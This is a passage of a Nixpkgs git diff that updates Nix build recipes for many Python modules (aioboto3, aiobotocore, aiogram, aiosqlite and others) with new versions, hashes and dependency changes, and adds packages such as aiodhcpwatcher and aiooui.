b/pkgs/development/python-modules/aioboto3/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "aioboto3"; - version = "12.1.0"; + version = "12.3.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "terrycain"; repo = "aioboto3"; rev = "refs/tags/v${version}"; - hash = "sha256-CVRDQhymQRi5dyVBLJYTnF3RI4jPBB966dVMT4lOd8g="; + hash = "sha256-GDuxy/V+j0LRJ2lbcRHMEAga+pdCbYIWhEt3ItrHMB4="; }; nativeBuildInputs = [ @@ -37,8 +37,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiobotocore - boto3 - ]; + ] ++ aiobotocore.optional-dependencies.boto3; passthru.optional-dependencies = { chalice = [ diff --git a/pkgs/development/python-modules/aiobotocore/default.nix b/pkgs/development/python-modules/aiobotocore/default.nix index 006bd358d7c25..15eeb18989cc0 100644 --- a/pkgs/development/python-modules/aiobotocore/default.nix +++ b/pkgs/development/python-modules/aiobotocore/default.nix @@ -7,7 +7,10 @@ , fetchFromGitHub , flask , flask-cors +, awscli , moto +, boto3 +, setuptools , pytest-asyncio , pytestCheckHook , pythonOlder @@ -16,16 +19,16 @@ buildPythonPackage rec { pname = "aiobotocore"; - version = "2.8.0"; - format = "setuptools"; + version = "2.11.2"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "aio-libs"; - repo = pname; + repo = "aiobotocore"; rev = "refs/tags/${version}"; - hash = "sha256-mVG3dCz9DnExteUFhvTGjZu81E0KbrObP3OX0w/OVzU="; + hash = "sha256-H9nsLPxjv3H5y6+5piBt6Pb+Wks4vwOitM+WQtyViPs="; }; # Relax version constraints: aiobotocore works with newer botocore versions @@ -34,6 +37,10 @@ buildPythonPackage rec { sed -i "s/'botocore>=.*'/'botocore'/" setup.py ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiohttp aioitertools @@ -41,6 +48,15 @@ buildPythonPackage rec { wrapt ]; + passthru.optional-dependencies = { + awscli = [ + awscli + ]; + boto3 = [ + boto3 + ]; + }; + nativeCheckInputs = [ dill flask diff --git a/pkgs/development/python-modules/aiocomelit/default.nix b/pkgs/development/python-modules/aiocomelit/default.nix index 64fd61e2219ad..b9c18196d24a1 100644 --- a/pkgs/development/python-modules/aiocomelit/default.nix +++ b/pkgs/development/python-modules/aiocomelit/default.nix @@ -11,8 +11,8 @@ buildPythonPackage rec { pname = "aiocomelit"; - version = "0.8.3"; - format = "pyproject"; + version = "0.9.0"; + pyproject = true; disabled = pythonOlder "3.10"; @@ -20,12 +20,12 @@ buildPythonPackage rec { owner = "chemelli74"; repo = "aiocomelit"; rev = "refs/tags/v${version}"; - hash = "sha256-og54xVby9kyLtsIBCmH3KjKSSWaxHtXCH+wvHdrGQAU="; + hash = "sha256-Fjf7mXXUnBTtPfNHHJdFx5ho4eg0N3iHCGsACa4IMjY="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace " --cov=aiocomelit --cov-report=term-missing:skip-covered" "" + --replace-fail " --cov=aiocomelit --cov-report=term-missing:skip-covered" "" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aiocsv/default.nix b/pkgs/development/python-modules/aiocsv/default.nix index 8feda8b86aa81..30511eb816761 100644 --- a/pkgs/development/python-modules/aiocsv/default.nix +++ b/pkgs/development/python-modules/aiocsv/default.nix @@ -6,24 +6,26 @@ , pytest-asyncio , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "aiocsv"; - version = "1.2.5"; - format = "setuptools"; + version = "1.3.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "MKuranowski"; - repo = pname; + repo = "aiocsv"; rev = "refs/tags/v${version}"; - hash = "sha256-4QvVYcTpwhFH57r+iMgmYciWIC2prRnL+ih7qx/CA/U="; + hash = "sha256-zHU9NfxiRUOAk0kwsKmvxd01UtNXZTnb700Wlm9DUz4="; }; nativeBuildInputs = [ cython + setuptools ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/aiodhcpwatcher/default.nix b/pkgs/development/python-modules/aiodhcpwatcher/default.nix new file mode 100644 index 0000000000000..9a860cfb832c9 --- /dev/null +++ b/pkgs/development/python-modules/aiodhcpwatcher/default.nix @@ -0,0 +1,56 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub + +# build-system +, poetry-core + +# dependencies +, scapy + +# tests +, pytest-asyncio +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "aiodhcpwatcher"; + version = "0.8.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "bdraco"; + repo = "aiodhcpwatcher"; + rev = "v${version}"; + hash = "sha256-zZigXYUDSbXjlH810CgLa56xWYKcStBeKUbgsZ5WjOw="; + }; + + postPatch = '' + sed -i "/addopts =/d" pyproject.toml + ''; + + build-system = [ + poetry-core + ]; + + dependencies = [ + scapy + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "aiodhcpwatcher" + ]; + + meta = with lib; { + description = "Watch for DHCP packets with asyncio"; + homepage = "https://github.com/bdraco/aiodhcpwatcher"; + changelog = "https://github.com/bdraco/aiodhcpwatcher/blob/${src.rev}/CHANGELOG.md"; + license = licenses.gpl3Only; + maintainers = with maintainers; [ hexa ]; + }; +} diff --git a/pkgs/development/python-modules/aiodiscover/default.nix b/pkgs/development/python-modules/aiodiscover/default.nix index 72a722a2230f2..ee041198e8d98 100644 --- a/pkgs/development/python-modules/aiodiscover/default.nix +++ b/pkgs/development/python-modules/aiodiscover/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "aiodiscover"; - version = "1.6.0"; + version = "1.6.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -24,14 +24,9 @@ buildPythonPackage rec { owner = "bdraco"; repo = "aiodiscover"; rev = "refs/tags/v${version}"; - hash = "sha256-FbOqTUSqxSPSCn5zA4s47+M6OsVsqvUBZxTFvJ5PoHs="; + hash = "sha256-M3tus0r58YVJyi/S7UWq+OvaKke3hqkHGuYkUxEpVxg="; }; - postPatch = '' - substituteInPlace setup.py \ - --replace '"pytest-runner>=5.2",' "" - ''; - nativeBuildInputs = [ setuptools ]; diff --git a/pkgs/development/python-modules/aioecowitt/default.nix b/pkgs/development/python-modules/aioecowitt/default.nix index 14146ef64d1f6..b93333c2adb03 100644 --- a/pkgs/development/python-modules/aioecowitt/default.nix +++ b/pkgs/development/python-modules/aioecowitt/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "aioecowitt"; - version = "2024.2.1"; + version = "2024.2.2"; pyproject = true; disabled = pythonOlder "3.9"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "home-assistant-libs"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-PBV5jk0oItelCDFZsk8et0raIGEWxOaNdHuAViQ6LZc="; + hash = "sha256-QfUawUtkNl2molropV8NSU7Kfm/D5/xuaPCjgm2TVOs="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aioesphomeapi/default.nix b/pkgs/development/python-modules/aioesphomeapi/default.nix index 7c81afa0f8b36..ad3ac4f4e5733 100644 --- a/pkgs/development/python-modules/aioesphomeapi/default.nix +++ b/pkgs/development/python-modules/aioesphomeapi/default.nix @@ -9,8 +9,10 @@ # dependencies , aiohappyeyeballs +, async-interrupt , async-timeout , chacha20poly1305-reuseable +, cryptography , noiseprotocol , protobuf , zeroconf @@ -23,7 +25,7 @@ buildPythonPackage rec { pname = "aioesphomeapi"; - version = "21.0.2"; + version = "23.0.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -32,7 +34,7 @@ buildPythonPackage rec { owner = "esphome"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-uNVf0wnqVntjTxkNTilvb0v6h3VBCjd91wbLQJ6q71g="; + hash = "sha256-iYaRA1Jj9Ew/s/LyS6U+NZ3TsAlXdDq0DAaudgFV5/o="; }; nativeBuildInputs = [ @@ -42,7 +44,9 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiohappyeyeballs + async-interrupt chacha20poly1305-reuseable + cryptography noiseprotocol protobuf zeroconf @@ -56,6 +60,11 @@ buildPythonPackage rec { pytestCheckHook ]; + disabledTests = [ + # https://github.com/esphome/aioesphomeapi/issues/837 + "test_reconnect_logic_stop_callback" + ]; + pythonImportsCheck = [ "aioesphomeapi" ]; diff --git a/pkgs/development/python-modules/aiogram/default.nix b/pkgs/development/python-modules/aiogram/default.nix index e2da72982ca8b..c125e2869df96 100644 --- a/pkgs/development/python-modules/aiogram/default.nix +++ b/pkgs/development/python-modules/aiogram/default.nix @@ -5,12 +5,13 @@ , pytestCheckHook , aiohttp , aiohttp-socks -, aioredis , aiofiles , aresponses , babel , certifi , magic-filter +, pycryptodomex +, pytest-aiohttp , pytest-asyncio , pytest-lazy-fixture , redis @@ -22,16 +23,16 @@ buildPythonPackage rec { pname = "aiogram"; - version = "3.3.0"; + version = "3.4.1"; pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "aiogram"; repo = "aiogram"; rev = "refs/tags/v${version}"; - hash = "sha256-TD4pDmM899zBOxllM0iju2u6IhmXxLYWBpjfWhewVFc="; + hash = "sha256-2of4KHdpAATOt0dCqI3AmTJtdeN5SdiWydeGjtagABI="; }; nativeBuildInputs = [ @@ -49,8 +50,9 @@ buildPythonPackage rec { nativeCheckInputs = [ aiohttp-socks - aioredis aresponses + pycryptodomex + pytest-aiohttp pytest-asyncio pytest-lazy-fixture pytestCheckHook @@ -58,15 +60,16 @@ buildPythonPackage rec { redis ]; - # import failures - disabledTests = [ - "test_aiohtt_server" - "test_deep_linking" + pytestFlagsArray = [ + "-W" "ignore::pluggy.PluggyTeardownRaisedWarning" + "-W" "ignore::pytest.PytestDeprecationWarning" ]; pythonImportsCheck = [ "aiogram" ]; - passthru.updateScript = gitUpdater { }; + passthru.updateScript = gitUpdater { + rev-prefix = "v"; + }; meta = with lib; { description = "Modern and fully asynchronous framework for Telegram Bot API"; diff --git a/pkgs/development/python-modules/aiohomekit/default.nix b/pkgs/development/python-modules/aiohomekit/default.nix index 8ea84581873a1..2e6a1957779e5 100644 --- a/pkgs/development/python-modules/aiohomekit/default.nix +++ b/pkgs/development/python-modules/aiohomekit/default.nix @@ -20,7 +20,7 @@ buildPythonPackage rec { pname = "aiohomekit"; - version = "3.1.4"; + version = "3.1.5"; pyproject = true; disabled = pythonOlder "3.10"; @@ -29,7 +29,7 @@ buildPythonPackage rec { owner = "Jc2k"; repo = "aiohomekit"; rev = "refs/tags/${version}"; - hash = "sha256-hZhbmEEqmhvoxGD4hvy4SDQWG5Xk1cmzFDSNa742iMs="; + hash = "sha256-F3PhZsuIgT3x1Y3/kx9juPwN2WKxvdbahrRm+r6ZPps="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aiohttp-client-cache/default.nix b/pkgs/development/python-modules/aiohttp-client-cache/default.nix index dc5b34aad95ec..99f3488aa6f22 100644 --- a/pkgs/development/python-modules/aiohttp-client-cache/default.nix +++ b/pkgs/development/python-modules/aiohttp-client-cache/default.nix @@ -2,11 +2,11 @@ python3.pkgs.buildPythonPackage rec { pname = "aiohttp_client_cache"; - version = "0.10.0"; + version = "0.11.0"; pyproject = true; src = fetchPypi { inherit pname version; - sha256 = "sha256-FXU4QNqa8B8ZADmoEyJfd8gsUDI0HEjIR9B2CBP55wU="; + sha256 = "sha256-B2b/9O2gVJjHUlN0pYeBDcwsy3slaAnd5SroeQqEU+s="; }; nativeBuildInputs = with python3.pkgs; [ poetry-core diff --git a/pkgs/development/python-modules/aiohue/default.nix b/pkgs/development/python-modules/aiohue/default.nix index 56b911ee4f893..44ab0e99a9d0c 100644 --- a/pkgs/development/python-modules/aiohue/default.nix +++ b/pkgs/development/python-modules/aiohue/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "aiohue"; - version = "4.7.0"; + version = "4.7.1"; pyproject = true; disabled = pythonOlder "3.10"; @@ -22,7 +22,7 @@ buildPythonPackage rec { owner = "home-assistant-libs"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-t48rUPAM0XpbDreCwHU/smoyhPtxhwrpDkb1170GkQM="; + hash = "sha256-/9kATmBNhKXt2PWB1pRdMJr+QzP23ajQK+jA8BuJ7J4="; }; postPatch = '' diff --git a/pkgs/development/python-modules/aiomisc/default.nix b/pkgs/development/python-modules/aiomisc/default.nix index 38a692910d4aa..06466ca2963d8 100644 --- a/pkgs/development/python-modules/aiomisc/default.nix +++ b/pkgs/development/python-modules/aiomisc/default.nix @@ -22,14 +22,14 @@ buildPythonPackage rec { pname = "aiomisc"; - version = "17.3.41"; - format = "pyproject"; + version = "17.3.48"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-thJBptiwH3jLQIYw7ucCv4xwaGPXMpE+dUwRvsyURtw="; + hash = "sha256-AVavnUsx/hUrT1gspfMNxtmyDLUty+ocPqRZAun036I="; }; nativeBuildInputs = [ @@ -49,9 +49,7 @@ buildPythonPackage rec { pytestCheckHook raven setproctitle - ] ++ passthru.optional-dependencies.aiohttp - ++ passthru.optional-dependencies.cron - ++ passthru.optional-dependencies.uvloop; + ] ++ lib.flatten (builtins.attrValues passthru.optional-dependencies); passthru.optional-dependencies = { aiohttp = [ diff --git a/pkgs/development/python-modules/aiomysensors/default.nix b/pkgs/development/python-modules/aiomysensors/default.nix index 5d92471c472cc..9ba8dae31c8a8 100644 --- a/pkgs/development/python-modules/aiomysensors/default.nix +++ b/pkgs/development/python-modules/aiomysensors/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "aiomysensors"; - version = "0.3.11"; + version = "0.3.14"; pyproject = true; disabled = pythonOlder "3.9"; @@ -24,12 +24,12 @@ buildPythonPackage rec { owner = "MartinHjelmare"; repo = "aiomysensors"; rev = "refs/tags/v${version}"; - hash = "sha256-uBmFJFmUClTkaAg8jTThygzmZv7UZDPSt0bXo8BLu00="; + hash = "sha256-7Y7JE/GAX5gQrIGcErZTGQXyaf3QwsTFgviiHLWgGeI="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace " --cov=src --cov-report=term-missing:skip-covered" "" + --replace-fail " --cov=src --cov-report=term-missing:skip-covered" "" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aionotion/default.nix b/pkgs/development/python-modules/aionotion/default.nix index e9d95fcb06a74..ce0bf222341d8 100644 --- a/pkgs/development/python-modules/aionotion/default.nix +++ b/pkgs/development/python-modules/aionotion/default.nix @@ -3,19 +3,23 @@ , aresponses , buildPythonPackage , certifi +, ciso8601 , fetchFromGitHub +, frozenlist +, mashumaro , poetry-core -, pydantic +, pyjwt , pytest-aiohttp , pytest-asyncio -, pytest-cov , pytestCheckHook +, pytest-cov , pythonOlder +, yarl }: buildPythonPackage rec { pname = "aionotion"; - version = "2023.12.0"; + version = "2024.02.2"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -24,7 +28,7 @@ buildPythonPackage rec { owner = "bachya"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-F9Mv8c+QEd+Vi5pdNDAFzRnYoNKZSAN5qbeX7yG6kIk="; + hash = "sha256-xehHOB4iUMT1kKEK4jQzaj7hH9fmiY7mZxGC3CLnpAs="; }; nativeBuildInputs = [ @@ -34,7 +38,11 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiohttp certifi - pydantic + ciso8601 + frozenlist + mashumaro + pyjwt + yarl ]; __darwinAllowLocalNetworking = true; diff --git a/pkgs/development/python-modules/aiooui/default.nix b/pkgs/development/python-modules/aiooui/default.nix new file mode 100644 index 0000000000000..d26385e284b09 --- /dev/null +++ b/pkgs/development/python-modules/aiooui/default.nix @@ -0,0 +1,53 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, poetry-core +, pytest-asyncio +, pytestCheckHook +, pythonOlder +}: + +buildPythonPackage rec { + pname = "aiooui"; + version = "0.1.5"; + pyproject = true; + + disabled = pythonOlder "3.9"; + + src = fetchFromGitHub { + owner = "Bluetooth-Devices"; + repo = "aiooui"; + rev = "refs/tags/v${version}"; + hash = "sha256-/RZ8nZatlfo3AJvg/4JgyAHtrnoj50uxbhqr+ToCTJ4="; + }; + + postPatch = '' + # Remove requirements and build part for the OUI data + substituteInPlace pyproject.toml \ + --replace-fail "-v -Wdefault --cov=aiooui --cov-report=term-missing:skip-covered" "" \ + --replace-fail 'script = "build_oui.py"' "" \ + --replace-fail ", 'requests'" "" \ + --replace-fail '"setuptools>=65.4.1", ' "" + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytestCheckHook + ]; + + pythonImportsCheck = [ + "aiooui" + ]; + + meta = with lib; { + description = "Async OUI lookups"; + homepage = "https://github.com/Bluetooth-Devices/aiooui"; + changelog = "https://github.com/Bluetooth-Devices/aiooui/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/aiopegelonline/default.nix b/pkgs/development/python-modules/aiopegelonline/default.nix index b46746f50b85f..cb280b01d2e4c 100644 --- a/pkgs/development/python-modules/aiopegelonline/default.nix +++ b/pkgs/development/python-modules/aiopegelonline/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "aiopegelonline"; - version = "0.0.8"; + version = "0.0.9"; pyproject = true; disabled = pythonOlder "3.9"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "mib1185"; repo = "aiopegelonline"; rev = "refs/tags/v${version}"; - hash = "sha256-Z/3IF5AwiNB+h8wug+57OVdLpFxGoiUe2xG4euHT1Bw="; + hash = "sha256-/k0TR0oUYZigi/2xRVLPFAIMAmXoLnE0NRlvEZrWylo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aiopvapi/default.nix b/pkgs/development/python-modules/aiopvapi/default.nix index 1a5689f3df439..d759a4db6a28a 100644 --- a/pkgs/development/python-modules/aiopvapi/default.nix +++ b/pkgs/development/python-modules/aiopvapi/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "aiopvapi"; - version = "3.0.1"; + version = "3.0.2"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,15 +18,9 @@ buildPythonPackage rec { owner = "sander76"; repo = "aio-powerview-api"; rev = "refs/tags/v${version}"; - hash = "sha256-+jhfp8gLEmL8TGPPN7QY8lw1SkV4sMSDb4VSq2OJ6PU="; + hash = "sha256-NfSGu4M0NWfCDc37zRwUjYtZz5jOtw3pYgF6fIsB/Yo="; }; - postPatch = '' - # https://github.com/sander76/aio-powerview-api/pull/31 - substituteInPlace setup.py \ - --replace '"asyncio", ' "" - ''; - nativeBuildInputs = [ setuptools ]; @@ -43,16 +37,6 @@ buildPythonPackage rec { "aiopvapi" ]; - disabledTestPaths = [ - # https://github.com/sander76/aio-powerview-api/issues/32 - "tests/test_shade.py" - "tests/test_scene.py" - "tests/test_room.py" - "tests/test_apiresource.py" - "tests/test_hub.py" - "tests/test_scene_members.py" - ]; - meta = with lib; { description = "Python API for the PowerView API"; homepage = "https://github.com/sander76/aio-powerview-api"; diff --git a/pkgs/development/python-modules/aioshelly/default.nix b/pkgs/development/python-modules/aioshelly/default.nix index 4e77bc9c6509d..2dfef5a251ad9 100644 --- a/pkgs/development/python-modules/aioshelly/default.nix +++ b/pkgs/development/python-modules/aioshelly/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "aioshelly"; - version = "8.0.1"; + version = "8.1.1"; pyproject = true; disabled = pythonOlder "3.10"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "home-assistant-libs"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-3W5XfSOaKCCBjDHJh8IP/5I48py3j6i2O3FfhbcQzbY="; + hash = "sha256-i2dlcparDQlwM7Wk/HwlBz0mmI38ZRwxVM6jLY0rI+0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/aiosqlite/default.nix b/pkgs/development/python-modules/aiosqlite/default.nix index 2da12df9edbc7..bd16b06895a61 100644 --- a/pkgs/development/python-modules/aiosqlite/default.nix +++ b/pkgs/development/python-modules/aiosqlite/default.nix @@ -1,15 +1,15 @@ { lib -, aiounittest , buildPythonPackage , fetchFromGitHub , flit-core , pytestCheckHook , pythonOlder +, typing-extensions }: buildPythonPackage rec { pname = "aiosqlite"; - version = "0.19.0"; + version = "0.20.0"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -18,15 +18,18 @@ buildPythonPackage rec { owner = "omnilib"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-dm7uqG59FP40hcQt+R7qfQiD8P42AYZ2WcH1RoEC5wQ="; + hash = "sha256-JQ9iNxK7FvBhPyr825d+8P5ZYFztDIX3gOwp4FPfyU4="; }; nativeBuildInputs = [ flit-core ]; + propagatedBuildInputs = [ + typing-extensions + ]; + nativeCheckInputs = [ - aiounittest pytestCheckHook ]; diff --git a/pkgs/development/python-modules/aiotankerkoenig/default.nix b/pkgs/development/python-modules/aiotankerkoenig/default.nix new file mode 100644 index 0000000000000..5915fdd6beb15 --- /dev/null +++ b/pkgs/development/python-modules/aiotankerkoenig/default.nix @@ -0,0 +1,64 @@ +{ lib +, aiohttp +, aioresponses +, buildPythonPackage +, fetchFromGitHub +, mashumaro +, orjson +, poetry-core +, pytest-asyncio +, pytestCheckHook +, pythonOlder +, syrupy +, yarl +}: + +buildPythonPackage rec { + pname = "aiotankerkoenig"; + version = "0.4.1"; + pyproject = true; + + disabled = pythonOlder "3.11"; + + src = fetchFromGitHub { + owner = "jpbede"; + repo = "aiotankerkoenig"; + rev = "refs/tags/v${version}"; + hash = "sha256-BB1Cy4Aji5m06LlNj03as4CWF8RcYKAYy4oxPomOP68="; + }; + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail "--cov" "" + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + aiohttp + mashumaro + orjson + yarl + ]; + + nativeCheckInputs = [ + aioresponses + pytest-asyncio + pytestCheckHook + syrupy + ]; + + pythonImportsCheck = [ + "aiotankerkoenig" + ]; + + meta = with lib; { + description = "Python module for interacting with tankerkoenig.de"; + homepage = "https://github.com/jpbede/aiotankerkoenig"; + changelog = "https://github.com/jpbede/aiotankerkoenig/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/aiounifi/default.nix b/pkgs/development/python-modules/aiounifi/default.nix index 886c0e4d4c1e8..e50bd10281c5e 100644 --- a/pkgs/development/python-modules/aiounifi/default.nix +++ b/pkgs/development/python-modules/aiounifi/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "aiounifi"; - version = "70"; + version = "72"; pyproject = true; disabled = pythonOlder "3.11"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "Kane610"; repo = "aiounifi"; rev = "refs/tags/v${version}"; - hash = "sha256-yLqGqRWzuMqymGqGR1mA4oQb+tWt58lA7C/kXC5bYz8="; + hash = "sha256-PrFI5ncHW4r2Re1BIqRZlz8ns6d5p6y6PASCleSmyNc="; }; postPatch = '' diff --git a/pkgs/development/python-modules/aiounittest/default.nix b/pkgs/development/python-modules/aiounittest/default.nix index 0456138379027..1c97a430503a4 100644 --- a/pkgs/development/python-modules/aiounittest/default.nix +++ b/pkgs/development/python-modules/aiounittest/default.nix @@ -3,7 +3,7 @@ , fetchFromGitHub , pythonAtLeast , setuptools -, nose +, pynose , coverage , wrapt }: @@ -13,9 +13,6 @@ buildPythonPackage rec { version = "1.4.2"; pyproject = true; - # requires the imp module - disabled = pythonAtLeast "3.12"; - src = fetchFromGitHub { owner = "kwarunek"; repo = pname; @@ -32,12 +29,12 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ - nose + pynose coverage ]; checkPhase = '' - nosetests + nosetests -e test_specific_test ''; pythonImportsCheck = [ "aiounittest" ]; diff --git a/pkgs/development/python-modules/aiowebostv/default.nix b/pkgs/development/python-modules/aiowebostv/default.nix index 7b00bfb5b0dee..e264710e0c47f 100644 --- a/pkgs/development/python-modules/aiowebostv/default.nix +++ b/pkgs/development/python-modules/aiowebostv/default.nix @@ -2,23 +2,28 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder +, setuptools , websockets }: buildPythonPackage rec { pname = "aiowebostv"; - version = "0.3.3"; - format = "setuptools"; + version = "0.4.0"; + pyproject = true; - disabled = pythonOlder "3.8"; + disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "home-assistant-libs"; - repo = pname; + repo = "aiowebostv"; rev = "refs/tags/v${version}"; - hash = "sha256-djcfYpHkhXhjQwJzHP3mNflKrcP6Yj3/z62qeXg67ss="; + hash = "sha256-VUznW+rMCZF1LbrQmEaOgdcX3YCm6Tf7yWlB8KNrjxU="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ websockets ]; diff --git a/pkgs/development/python-modules/airium/default.nix b/pkgs/development/python-modules/airium/default.nix new file mode 100644 index 0000000000000..4d84454a339c9 --- /dev/null +++ b/pkgs/development/python-modules/airium/default.nix @@ -0,0 +1,42 @@ +{ lib +, buildPythonPackage +, fetchFromGitLab +, setuptools +, pytestCheckHook +, beautifulsoup4 +}: + +buildPythonPackage rec { + pname = "airium"; + version = "0.2.6"; + pyproject = true; + + src = fetchFromGitLab { + owner = "kamichal"; + repo = "airium"; + rev = "v${version}"; + hash = "sha256-qAU+rmj2ZHw7KdxVvRyponcPiRcyENfDyW1y9JTiwsY="; + }; + + propagatedBuildInputs = [ + setuptools + ]; + + nativeCheckInputs = [ + pytestCheckHook + beautifulsoup4 + ]; + + # tests require internet access, broken in sandbox + disabledTests = [ + "test_get_bad_content_type" + "test_translate_remote_file" + ]; + + meta = with lib; { + description = "Bidirectional HTML-python translator"; + homepage = "https://gitlab.com/kamichal/airium"; + license = licenses.mit; + maintainers = with maintainers; [ hulr ]; + }; +} diff --git a/pkgs/development/python-modules/albumentations/default.nix b/pkgs/development/python-modules/albumentations/default.nix index e2104641b78d3..6c13bebebdfe7 100644 --- a/pkgs/development/python-modules/albumentations/default.nix +++ b/pkgs/development/python-modules/albumentations/default.nix @@ -1,12 +1,14 @@ { lib , buildPythonPackage , fetchPypi +, setuptools , numpy , opencv4 , pyyaml , qudida , scikit-image , scipy +, deepdiff , pytestCheckHook , pythonOlder , pythonRelaxDepsHook @@ -14,14 +16,14 @@ buildPythonPackage rec { pname = "albumentations"; - version = "1.3.1"; - format = "setuptools"; + version = "1.4.0"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-pqODiP5UbFaAcejIL0FEmOhsntA8CLWOeoizHPeiRMY="; + hash = "sha256-ZJ+KFIlveIs1bsxwCDxPuRvtq0/04rOa0heoJOGJ3tA="; }; nativeBuildInputs = [ @@ -32,7 +34,11 @@ buildPythonPackage rec { "opencv-python" ]; - propagatedBuildInputs = [ + build-system = [ + setuptools + ]; + + dependencies = [ numpy opencv4 pyyaml @@ -42,6 +48,7 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ + deepdiff pytestCheckHook ]; diff --git a/pkgs/development/python-modules/aliyun-python-sdk-core/default.nix b/pkgs/development/python-modules/aliyun-python-sdk-core/default.nix index 1ab81cd86b521..1ead4ce1427cf 100644 --- a/pkgs/development/python-modules/aliyun-python-sdk-core/default.nix +++ b/pkgs/development/python-modules/aliyun-python-sdk-core/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "aliyun-python-sdk-core"; - version = "2.14.0"; + version = "2.15.0"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-yAaBWkj/24lMxbzhW4JZuaMBLMDNoBvi89+7hE8/TyE="; + hash = "sha256-7cRVVIjYqfHGG9QZx74nsjl0sqBSlxtGFPzSKerus4I="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/anova-wifi/default.nix b/pkgs/development/python-modules/anova-wifi/default.nix index a94ef0e3d624a..a7cd85ca8b9e1 100644 --- a/pkgs/development/python-modules/anova-wifi/default.nix +++ b/pkgs/development/python-modules/anova-wifi/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "anova-wifi"; - version = "0.11.6"; + version = "0.11.7"; pyproject = true; disabled = pythonOlder "3.10"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "Lash-L"; repo = "anova_wifi"; rev = "refs/tags/v${version}"; - hash = "sha256-zRMs0GAsLgKt1R0SfRFPchjmk87K2d8vBeHJs66k9xc="; + hash = "sha256-G87lNPyFnMO0YWKtLv/RgSZ0j0exFro24erwYv87V90="; }; postPatch = '' diff --git a/pkgs/development/python-modules/ansible-runner/default.nix b/pkgs/development/python-modules/ansible-runner/default.nix index 4a9ff67c3cba6..899fd02e93925 100644 --- a/pkgs/development/python-modules/ansible-runner/default.nix +++ b/pkgs/development/python-modules/ansible-runner/default.nix @@ -23,14 +23,14 @@ buildPythonPackage rec { pname = "ansible-runner"; - version = "2.3.4"; + version = "2.3.5"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-eaG9E02BPI6jdAWZxv2WGhFCXOd1fy/XJc9W1qGnI2w="; + hash = "sha256-zZ3dV2WHDqPFRbbLR6qtXwTZowpijdP82082eijCIIU="; }; patches = [ diff --git a/pkgs/development/python-modules/ansible/core.nix b/pkgs/development/python-modules/ansible/core.nix index 